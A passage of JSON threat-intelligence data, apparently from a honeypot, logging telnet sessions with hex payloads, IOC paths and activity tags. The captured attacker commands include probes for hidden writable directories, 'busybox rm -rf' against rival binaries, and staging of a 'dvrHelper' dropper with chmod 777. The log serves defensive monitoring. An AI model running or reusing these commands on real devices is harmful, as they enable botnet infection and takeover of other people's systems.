/usr/","payload_hex":"3e2f7573722f2e70746d78202626206364202f7573722f","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-36","seq":36,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3380e53aff72d470","strings":[">/usr/.ptmx && cd /usr/"],"iocs":{"paths":["/usr/.ptmx"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox rm -rf dvrHelper tbot","payload_hex":"2f62696e2f62757379626f7820726d202d72662064767248656c7065722074626f74","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-38","seq":38,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"bfb0422faa2e76d8","strings":["/bin/busybox rm -rf dvrHelper tbot"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox HolyFuck","payload_hex":"2f62696e2f62757379626f78206370202f62696e2f62757379626f782064767248656c7065723b203e64767248656c7065723b202f62696e2f62757379626f782063686d6f64203737372064767248656c7065723b202f62696e2f62757379626f7820486f6c794675636b","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-40","seq":40,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7bc245b00933807d","strings":["/bin/busybox cp /bin/busybox dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHe…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T21:43:35","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":">/dev/shm/.ptmx && cd /dev/shm/","payload_hex":"3e2f6465762f73686d2f2e70746d78202626206364202f6465762f73686d2f","method":"","user_agent":"","ja3":"","session":"0852eea6-5548-4c00-88d5-01320d5091ff-28","seq":28,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c4c03adab34dc0b2","strings":[">/dev/shm/.ptmx && cd /dev/shm/"],"iocs":{"paths":["/dev/shm/.ptmx","/dev/shm"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":3,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":369},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":369},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":336},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":370}]}